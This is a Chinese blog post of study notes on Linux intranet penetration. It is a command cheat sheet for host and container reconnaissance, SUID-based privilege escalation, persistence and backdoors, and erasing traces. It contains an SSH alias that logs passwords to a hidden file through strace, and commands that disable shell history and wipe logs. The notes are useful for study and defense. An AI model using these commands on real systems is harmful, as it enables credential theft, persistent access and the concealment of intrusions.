学习笔记之Linux内网渗透
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
1. 获取内核,操作系统和设备信息
版本信息
uname -a 所有版本
uname -r 内核版本信息
uname -n 系统主机名字
uname -m Linux内核架构
内核信息
cat /proc/version
CPU信息
cat /proc/cpuinfo
发布信息
cat /etc/*-release
cat /etc/issue
主机名
hostname
文件系统
df -a
内核日志
dmesg / /var/log/dmesg
2. 用户和组
列出系统所有用户
cat /etc/passwd
列出系统所有组
cat /etc/group
列出所有用户hash(root)
cat /etc/shadow``
用户
查询用户的基本信息 finger
当前登录的用户 users who -a /var/log/utmp
查询无密码用户 grep 'x:0:' /etc/passwd
目前登录的用户 w
登入过的用户信息 last / /var/log/wtmp
显示系统中所有用户最近一次登录信息 lastlog / /var/log/lastlog
登录成功日志 /var/log/secure
登录失败日志 /var/log/faillog
查看特权用户 grep :0 /etc/passwd
查看passwd最后修改时间 ls -l /etc/passwd
查看是否存在空口令用户 awk -F: ‘length($2)==0 {print $1}’ /etc/shadow
查看远程登录的账号 awk ‘/$1|$6/{print $1}’ /etc/shadow
查看具有sudo权限的用户
cat /etc/sudoers | grep -v "^#|^$" | grep "ALL=(ALL)"
3. 用户和权限信息
当前用户 whoami
当前用户信息 id
可以使用sudo提升到root的用户(root) cat /etc/sudoers
列出目前用户可执行与无法执行的指令 sudo -l
4. 环境信息
打印系统环境信息 env
打印系统环境信息 set
环境变量中的路径信息 echo $PATH
打印历史命令 history / ~/.bash_history
显示当前路径 pwd
显示默认系统遍历 cat /etc/profile
显示可用的shell cat /etc/shells
5. 进程信息
查看进程信息 ps aux
资源占有情况 top -c
查看进程关联文件 lsof -c $PID
完整命令行信息 /proc/$PID/cmdline
进程的命令名 /proc/$PID/comm
进程当前工作目录的符号链接 /proc/$PID/cwd
运行程序的符号链接 /proc/$PID/exe
进程的环境变量 /proc/$PID/environ
进程打开文件的情况 /proc/$PID/fd
6. 服务信息
由inetd管理的服务列表 cat /etc/inetd.conf
由xinetd管理的服务列表 cat /etc/xinetd.conf
nfs服务器的配置 cat /etc/exports
邮件信息 /var/log/mailog
ssh配置 sshd_config
7. 计划任务
显示指定用户的计划作业(root) crontab -l -u %user%
计划任务
/var/spool/cron/*
/var/spool/anacron/*
/etc/crontab
/etc/anacrontab
/etc/cron.*
/etc/anacrontab
开机启动项
/etc/rc.d/init.d/
8. 网络、路由和通信
列出网络接口信息 /sbin/ifconfig -a / ip addr show
列出网络接口信息 cat /etc/network/interfaces
查看系统arp表 arp -a
打印路由信息 route / ip ro show
查看dns配置信息 cat /etc/resolv.conf
打印本地端口开放信息 netstat -an
列出iptable的配置规则 iptables -L
查看端口服务映射 cat /etc/services
Hostname hostname -f
查看进程端口情况 netstat -anltp | grep $PID
9. 已安装程序
rpm -qa --last Redhat
yum list | grep installed CentOS
ls -l /etc/yum.repos.d/
dpkg -l Debian
cat /etc/apt/sources.list Debian APT
pkg_info xBSD
pkginfo Solaris
pacman -Q Arch Linux
emerge Gentoo
10. 文件
最近五天的文件 find / -ctime +1 -ctime -5
文件系统细节 debugfs
11. 公私钥信息
~/.ssh
/etc/ssh
12. 日志
/var/log/boot.log
/var/log/cron
/var/log/faillog
/var/log/lastlog
/var/log/messages
/var/log/secure
/var/log/syslog
/var/log/syslog
/var/log/wtmp
/var/log/wtmp
/var/run/utmp
13. 虚拟环境检测
lsmod | grep -i "vboxsf|vboxguest"
lsmod | grep -i "vmw_baloon|vmxnet"
lsmod | grep -i "xen-vbd|xen-vnif"
lsmod | grep -i "virtio_pci|virtio_net"
lsmod | grep -i "hv_vmbus|hv_blkvsc|hv_netvsc|hv_utils|hv_storvsc"
14. 容器内信息收集
capsh --print
cat /proc/1/cgroup
env | grep KUBE
ls -l .dockerenv
ls -l /run/secrets/Kubernetes.io/
mount
ps aux
1. 权限提升
内核漏洞利用
攻击有root权限的服务
利用第三方服务提权
通过有SUID属性的可执行文件
查找可能提权的可执行文件
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ; 2>/dev/null
利用可用的root权限
sudo -l
利用误配置的 crontab 任务
2. 自启动
/etc/init.d
/etc/rc.d/rc.local
~/.bashrc
~/.zshrc
3. 后门
ssh 后门
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
后门账户
常见应用
ICMP
DNS
icmp后门
后门端口复用
. 开头隐藏文件
rootkit
1. 历史命令
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;
kill -9 $ kill history
history -c
在 HISTSIZE=0 中设置 HISTSIZE=0
2. 清除/修改日志文件
/var/log/btmp
/var/log/lastlog
/var/log/wtmp
/var/log/utmp
/var/log/secure
/var/log/message
3. 登录痕迹
删除 ~/.ssh/known_hosts 中记录
修改文件时间戳
touch –r
删除tmp目录临时文件
4. 操作痕迹
vim 不记录历史命令 :set history=0
ssh 登录痕迹
无痕登录 ssh -T user@host /bin/bash -i
5. 覆写文件
shred
dd
wipe
6. 难点
攻击和入侵很难完全删除痕迹,没有日志记录也是一种特征
即使删除本地日志,在网络设备、安全设备、集中化日志系统中仍有记录
留存的后门包含攻击者的信息
使用的代理或跳板可能会被反向入侵
7. 注意
在操作前检查是否有用户在线
删除文件使用磁盘覆写的功能删除
尽量和攻击前状态保持一致
8. 参考链接
Linux 入侵痕迹清理技巧

原文链接:https://websec.readthedocs.io/zh/latest/intranet/linux/trace.html

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/5499.html